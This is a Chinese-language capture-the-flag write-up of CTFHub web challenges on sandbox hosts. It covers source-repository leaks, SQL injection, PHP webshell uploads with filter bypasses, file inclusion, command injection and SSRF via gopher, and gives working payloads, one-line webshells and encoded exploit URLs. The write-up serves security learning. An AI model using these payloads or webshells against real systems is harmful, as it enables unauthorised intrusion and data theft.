CTFHub笔记-Web章节
信息泄露
Git泄露
log
使用GitHack:py -2 .\GitHack.py http://challenge-e24ccdf6b6df7031.sandbox.ctfhub.com:10800/.git/
(githack工具只支持python2)获取git目录下的全部源文件
发现网页文件并没有flag,于是查询log:
cd .\dist\challenge-e24ccdf6b6df7031.sandbox.ctfhub.com_10800\
git log
查询remove和add之间的差异,获取flag:
git diff d056ba117983972dd519442a9ae5c2ee5e68d9d3 ea95548ec8b0ae7a919cd45d8d45d60eb94eb1f1
stash
git stash可以用于将当前的工作状态保存到git栈,在需要时恢复。
使用上一题的方法,结果得到where is flag
,考虑换个方法。
使用stash list列出所有保存过的工作状态
git stash list
发现只有一个存储的stash,于是直接pop,恢复该状态
git stash pop
恢复了一个txt文件,内含flag。
SVN泄露
使用dcvs ripper工具,需要perl和一堆依赖包。下载了很久,但是没关系
根据提示,直接下载网页的.svn
文件夹即可
perl ./rip-svn.pl -u http://challenge-e6bcf44182efa0b7.sandbox.ctfhub.com:10800/.svn
需要注意的是,linux下的.开头的文件夹是不显示的,需要ls -a
一下,发现.svn文件夹已经下载,于是进入文件夹,找和flag有关的文件,或者txt文件。这里文件比较少,直接就找到了。
HG泄露
同样是dvcs ripper,同样是直接下载.hg
文件夹
perl ./rip-hg.pl -u http://challenge-45c4fbd3254e4642.sandbox.ctfhub.com:10800/.hg
但是这次文件夹结构比较复杂,考虑用grep
查找所有文件的内容。
grep "flag" ./ -nr
查找当前文件夹下所有含“flag”的地方,并列出行号(-nr和-r的区别即有无行号)
返回值:
grep: ./store/undo: binary file matches
grep: ./store/00manifest.i: binary file matches
./store/fncache:3:data/flag_325258098.txt.i
./last-message.txt:1:add flag
grep: ./dirstate: binary file matches
grep: ./undo.dirstate: binary file matches
发现flag_325258098.txt.i
文件类似答案格式,所以直接尝试在浏览器上查看该文件(去掉i)。在浏览器中输入http://challenge-45c4fbd3254e4642.sandbox.ctfhub.com:10800/flag_325258098.txt
,即得到答案。
密码口令
弱口令
就是用常用密码列表去尝试。使用BurpSuite的Intruder,常用cluster bomb(兼容性高)
用户名基本上是admin,密码就用某个列表去爆破,直到出现response的区别:可用长度、状态等排序,也可以用查找、过滤
发现出现503错误,故在resource pool中设置速度,减少并发访问。
SQL注入
整数型注入
手工判断能否注入
输入1 and 1=0
,无返回结果;输入1 and 1=1
,有输出$\Rightarrow$存在注入
手工判断几个字段
输入1 order by n
,不断调整n的值,使得n有输出,n+1无输出,则SQL语句返回n个字段
手工判断输出位置
0 union select 1,2
看1和2分别在哪里输出(0是一个无输出的输入,不一定是0;此处以两个字段为例)
手工查询当前库名称
0 union select 1,database()
那么在前面“2”的位置就会输出当前的数据库名称(database()仅限MySQL)
获取指定字段的内容
and 1=2 union select 1,user() //当前用户、库、版本,【database,version】
and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata //取库名
and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='库名' //取表名
and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名' //取表字段
and 1=2 union select 1,group_concat(name,0x3a,passwd) from 510_admin //取表内容,0x3a是冒号
and 1=2 union select 1,load_file('c:\\boot.ini') //读取文件
使用工具注入
$ sqlmap -u http://challenge-67b3dcdf3cda2199.sandbox.ctfhub.com:10800/?id=1
$ sqlmap -u http://challenge-67b3dcdf3cda2199.sandbox.ctfhub.com:10800/?id=1 --current-db
current database: 'sqli'
$ sqlmap -u http://challenge-67b3dcdf3cda2199.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
Database: sqli
[2 tables]
+------+
| flag |
| news |
+------+
$ sqlmap -u http://challenge-67b3dcdf3cda2199.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns
Database: sqli
Table: flag
[1 column]
+--------+--------------+
| Column | Type |
+--------+--------------+
| flag | varchar(100) |
+--------+--------------+
$ sqlmap -u http://challenge-67b3dcdf3cda2199.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump
Database: sqli
Table: flag
[1 entry]
+----------------------------------+
| flag |
+----------------------------------+
| ctfhub{3bfbd5f6288520f86bd301d3} |
+----------------------------------+
字符型注入
使用工具方法同整数型
手工判断能否注入
输入1' and '1'='0
,无返回结果;输入1' and '1'='1
,有输出$\Rightarrow$存在注入
手工判断几个字段
输入1' order by n #
,不断调整n的值,使得n有输出,n+1无输出,则SQL语句返回n个字段,其中#后面为注释
手工判断输出位置
0' union select 1,2 #
看1和2分别在哪里输出(0是一个无输出的输入,不一定是0;此处以两个字段为例)
手工查询当前库名称
0' union select 1,database() #
那么在前面“2”的位置就会输出当前的数据库名称(database()仅限MySQL)
Cookie注入
手工注入
使用BurpSuite,找到第二次及以后访问时request中cookie的位置,之后可以在cookie中修改sql语句进行手工注入。当然,如果输出发现是字符型、布尔型或没有输出,则需要对应的方法。
使用工具
先使用BurpSuite得到一个样例request,然后将request存在linux虚拟机的一个文件中,例如“1”
使用sqlmap的request功能:
$ sqlmap -r 1 --level 2
此处level后面的值决定探测注入点方式多少,其中cookie在2级及以上被探测。具体每个级别探测的内容用搜索引擎找。
发现注入点之后,即可使用与之前类似的方法:
$ sqlmap -r 1 --current-db
...
UA注入
手工注入同cookie注入,即把cookie的注入点换成在User Agent处
使用工具
如果直接用–level n来尝试找注入点,会返回
[CRITICAL] specified file '1' does not contain a usable HTTP request (with parameters)
需要手动标记注入点,在“1”文件的User Agent:1后面加“*”
然后再
$ sqlmap -r 1
...
Refer注入
和UA唯一的区别,就是在生成的样例request中并没有referer语句,所以手动加上:
后同UA注入
过滤空格
有时网站会通过禁止带空格字符串的输入来达到一定的安全目的,但是实际上只要把输入的空格替换成/**/
就可以了。非常简单,甚至好像有点傻。
文件上传
无验证
可以用蚁剑,使用shell工具访问木马:本题WriteUp
应用更广泛的小马:
<?php eval($_POST['ddf']);?>
但是也可以直接用web shell,将一句话木马写成:
<?php @system($_GET['ddf']);?>
将php文件上传,然后访问该文件,在文件后加上?ddf=shell指令
即可在网页目录中进行操作。依次访问:
http://challenge-d97d326c6a3bb91a.sandbox.ctfhub.com:10800/upload/a.php?ddf=ls -a //不在当前目录下
http://challenge-d97d326c6a3bb91a.sandbox.ctfhub.com:10800/upload/a.php?ddf=pwd //查看当前目录
返回:/var/www/html/upload/ 之后查看html文件夹
http://challenge-d97d326c6a3bb91a.sandbox.ctfhub.com:10800/upload/a.php?ddf=ls /var/www/html
发现有flag文件,直接访问没有内容,考虑用cat查看文件
http://challenge-d97d326c6a3bb91a.sandbox.ctfhub.com:10800/upload/a.php?ddf=cat%20/var/www/html/flag_1492117286.php
再查看该网页源代码得到flag
前端验证
网页通过javascript只允许白名单内的文件上传,可以通过在执行js代码时设置断点,在判断文件类型前改掉上传的文件类型绕过检测。
- 在F12→源代码中,找到判断文件类型的函数,在函数中判断语句前设置断点。
- 执行上传操作,然后在右侧改掉参数,将
a.php
改为a.jpg
(根据白名单而定),再继续执行上传,即可完成 - 后续和无验证的操作相同
MIME验证
MIME,多用途互联网邮件扩展,服务端检测上传文件是否为MIME类型。
只需先上传一遍木马文件,然后上传一遍MIME中的文件(如png),从Request中得到一种允许的文件类型:
Content-Type: image/png
于是用image/png替换木马文件上传时的Content-Type,使用Repeater发送一下Request就可以完成上传了。
之后的操作和无验证相同
文件头验证
网页通过检查文件开头的内容来判断是否为合法文件
可能的方法:将png图片的头部拷贝到木马的前面;将木马拷贝到png的后面。
在木马前添加合法头部
由于png的头部是一些奇怪的代码,拷贝后显示文件错误无法上传。不知道有没有办法能正常拷贝
将木马放在png后面
选用一个小png,防止过多乱码中出现一小段编译错误的php代码。在最后插入一句话木马。
然后该掉文件名,使其后缀为php,重新上传。
上传成功,后续操作同上。
00截断
先上传一个php,发现并不信;上传一个png,发现也没法访问。也就是并不能直接访问上传的文件。
将php上传的request发送到repeater,修改filename和存储路径:
POST /?road=/var/www/html/upload/1.php%00/ HTTP/1.1
Content-Disposition: form-data; name="file"; filename="a.jpg"
%00
相当于C++中的\0
,即标记了字符串的结尾。文件的存储路径是/var/www/html/upload/1.php%00/a.jpg
,但是由于%00
处就结束了,所以文件内容被写入了/var/www/html/upload/1.php
。
再访问...:10800/upload/1.php?...
即可。此内容有点抽象,希望之后的我还能记得现在的我是怎么理解的。
双写后缀
上传php文件,发现上传成功,但是文件名从a.php
变成了a.
,说明网页会过滤掉php后缀使之无法执行。
但是,网页比较傻,只遍历一次字符串。那就把文件名改成a.pphphp
,就结束了
.htaccess
.htaccess是服务器的一个配置文件,可以实现让某种后缀名的文件在执行时当做另一个后缀名。
上传写有如下内容的.htaccess文件:
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
再上传内容是一句话木马的1.jpg文件,即可用upload/1.jpg?
之类的东西搞flag了。
RCE
eval执行
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
网页提示当参数是cmd时,执行cmd后的php代码。可以用以下方法运行系统命令:
http://challenge-cff24276e86e09e4.sandbox.ctfhub.com:10800/?cmd=system('系统命令');
-
find命令
shell的find命令:
find [文件夹] -name [带通配符的文件名]
,即可找到在文件夹下的某种名字的文件,对找CTFHub的flag非常有用。
文件包含
网页代码:
<?php
error_reporting(0);
if(isset($_GET['file'])){
if(!strpos(&_GET["file"],"flag")){
inclulde $_GET["file"];
}
else{
echo "Hacker!!!";
}
}
else{
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
即:如果有参数file,且file=后面没有flag子串,那么就把file后的文件放进来。
注意到,shell.txt是个一句话木马,于是使用file参数include这个木马文件,然后另用木马中给出的ctfhub参数执行小马可用的所有指令。即:
...10800/?file=shell.txt&ctfhub=system('ls /')
后略。
php://input
网页题干:
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
当文件名开头是php://
时,就会把文件include进来
php://input
是一种特殊文件名,可以包含request中的内容。所以使用burp,修改request如下:
POST /?file=php://input HTTP/1.1
Host: challenge-d0f4685c0c27baca.sandbox.ctfhub.com:10800
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.61
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Length: 32
<?PHP system('cat /flag_8157')?>
第一行改为post,并把网址换为/?file=php://input
,那么input文件内容即为<?PHP system('cat /flag_8157')?>
以上是最后一步,反正只要改system函数里面的内容就行了,此部分略。
读取源代码
原题:
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>
由于给出了flag的位置,通过php://filter
来获取文件源码:
http://challenge-5b3cb60f241900c2.sandbox.ctfhub.com:10800/?file=php://filter/resource=/flag
输出如图。
远程包含
同input,没有任何实际区别。
命令注入
|
&
;
可以作为命令注入的媒介。在网站可以输入某个指令时,在指令后加上这三个中的一个,即可在其后面注入想要的命令。|
可以把前面的作为后面的输入(前提是前者可以作为后者的输入);&
则是在前者可以执行的情况下再执行后(C++期末考的傻逼教训);;
就是顺序执行两个命令。
如本题给了一个ping某个ip的输入框,那就在IP处输入:
andreoy.cn | ls
那就执行ls。后略。
过滤cat
就用grep。前面也用到过。前面那个更牛逼()
$ grep [要查找的字符串] [文件名]
返回该文件中该字符串所在的一行。
过滤空格
用tab替代空格。即使用%09
输入tab。不能在输入框直接输入,但是可以在网址栏或者Burp的request中输入。
综合过滤练习
过滤了|
&
;
,那就用换行(\n)。即%0a
grep在这里好像有点无敌(
SSRF
内网访问
如果有url参数,在url中输入内网ip即可访问该地址。
伪协议读取文件
同样是url参数内容:
url=file://[文件绝对路径]
即可访问文件。记得如果有根目录的话开头会有三个斜杠
端口扫描
用burp扫描端口,本题默认本地文件,则url=127.0.0.1:[端口]
POST请求
- index.php源码
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
- flag.php源码
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
首先按源码里说的,从url=127.0.0.1/flag.php
获得MD5加密后的key。这个key是无法直接上传的,但是可以制作一个POST请求,然后用curl支持的gopher协议上传。
使用浏览器的F12做一个上传按钮,生成一个上传的request,send to repeater
删去一些不必要的参数,修改host为本地127.0.0.1,完整内容如下。留下的三个参数是不可或缺的三个POST所需参数。
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=0db803a4686b5601be58786ade871dc9
index.php会进行一次解码,flag.php会进行一次解码,所以要encode两次,把百分号再encode成%25,如下。用burp弄即可。先convert all characters,再convert key characters。
%2550%254f%2553%2554%2520%252f%2566%256c%2561%2567%252e%2570%2568%2570%2520%2548%2554%2554%2550%252f%2531%252e%2531%250d%250a%2548%256f%2573%2574%253a%2520%2531%2532%2537%252e%2530%252e%2530%252e%2531%250d%250a%2543%256f%256e%2574%2565%256e%2574%252d%254c%2565%256e%2567%2574%2568%253a%2520%2533%2536%250d%250a%2543%256f%256e%2574%2565%256e%2574%252d%2554%2579%2570%2565%253a%2520%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2578%252d%2577%2577%2577%252d%2566%256f%2572%256d%252d%2575%2572%256c%2565%256e%2563%256f%2564%2565%2564%250d%250a%250d%250a%256b%2565%2579%253d%2530%2564%2562%2538%2530%2533%2561%2534%2536%2538%2536%2562%2535%2536%2530%2531%2562%2565%2535%2538%2537%2538%2536%2561%2564%2565%2538%2537%2531%2564%2563%2539
访问即可得到flag
challenge-3925d6875a1425bd.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_%2550%254f%2553%2554%2520%252f%2566%256c%2561%2567%252e%2570%2568%2570%2520%2548%2554%2554%2550%252f%2531%252e%2531%250d%250a%2548%256f%2573%2574%253a%2520%2531%2532%2537%252e%2530%252e%2530%252e%2531%250d%250a%2543%256f%256e%2574%2565%256e%2574%252d%254c%2565%256e%2567%2574%2568%253a%2520%2533%2536%250d%250a%2543%256f%256e%2574%2565%256e%2574%252d%2554%2579%2570%2565%253a%2520%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2578%252d%2577%2577%2577%252d%2566%256f%2572%256d%252d%2575%2572%256c%2565%256e%2563%256f%2564%2565%2564%250d%250a%250d%250a%256b%2565%2579%253d%2530%2564%2562%2538%2530%2533%2561%2534%2536%2538%2536%2562%2535%2536%2530%2531%2562%2565%2535%2538%2537%2538%2536%2561%2564%2565%2538%2537%2531%2564%2563%2539
其中80是必须加的,因为gopher协议的默认端口并不是80。
上传文件
- flag.php源码
<?php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
?>
Upload Webshell
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>
上题中添加按钮上传一步,可以改为控制台的命令:
f=document.getElementsByTagName('form')
f[0].submit()
后面和上一题处理基本相同,就是把密钥改成上传一个文件即可。
FastCGI协议
Gopher协议工具$ py gopherus.py --exploit fastcgi
按要求输入一个存在的php文件和一个系统命令,即可生成编码一次的gopher://开头的url。
放入burp再编码一次key character,即可完全复制到/?url=
后面。
grep慎用,因为服务端不一定是threadripper
Redis协议
同样使用gopherus,然后直接访问生成的shell.php即可
challenge-be9110e1ea94749a.sandbox.ctfhub.com:10800/shell.php?cmd=[系统命令]
URL Bypass
题目要求用一个奇怪的域名作为URL的开头。但是,注意到http协议的url格式:
┌────────────────────────────────────────────────────────────────────────────────────────────────┐
│ href │
├──────────┬──┬─────────────────────┬────────────────────────┬───────────────────────────┬───────┤
│ protocol │ │ auth │ host │ path │ hash │
│ │ │ ├─────────────────┬──────┼──────────┬────────────────┤ │
│ │ │ │ hostname │ port │ pathname │ search │ │
│ │ │ │ │ │ ├─┬──────────────┤ │
│ │ │ │ │ │ │ │ query │ │
" https: // user : pass @ sub.example.com : 8080 /p/a/t/h ? query=string #hash "
│ │ │ │ │ hostname │ port │ │ │ │
│ │ │ │ ├─────────────────┴──────┤ │ │ │
│ protocol │ │ username │ password │ host │ │ │ │
├──────────┴──┼──────────┴──────────┼────────────────────────┤ │ │ │
│ origin │ │ origin │ pathname │ search │ hash │
├─────────────┴─────────────────────┴────────────────────────┴──────────┴────────────────┴───────┤
│ href │
└────────────────────────────────────────────────────────────────────────────────────────────────┘
(All spaces in the "" line should be ignored. They are purely for formatting.)
把那个奇怪的域名作为username即可,然后用127.0.0.1本地访问flag.php
数字IP Bypass
不能用127和点,可以直接把ipv4换成一个数字,127*256*256*256+1=2130706433
,就用2130706433代替127.0.0.1即可
同时,也可以直接用localhost代替127.0.0.1
302跳转 Bypass
首先,并没有禁用localhost和数字ip,所以上一题的方法仍然适用
然后也可以找一个可以跳转到127.0.0.1/flag.php的短链接,但是没找到好的生成网站所以就算了(其实用自己的域名和服务器可以做)
DNS重绑定 Bypass
生成器使用这个生成器,可以将一个域名解析到两个不同的IP地址,并且切换的TTL很小,有时可以骗过一些检测。本题不能用带127的东西访问,却又要求从127.0.0.1进入。
随便选一个网址对应的ipv4,例如ctfhub.com[180.163.28.105]
得到一个网址7f000001.b4a31c69.rbndr.us
于是用以上网址替代127.0.0.1,多刷几次就得到flag了。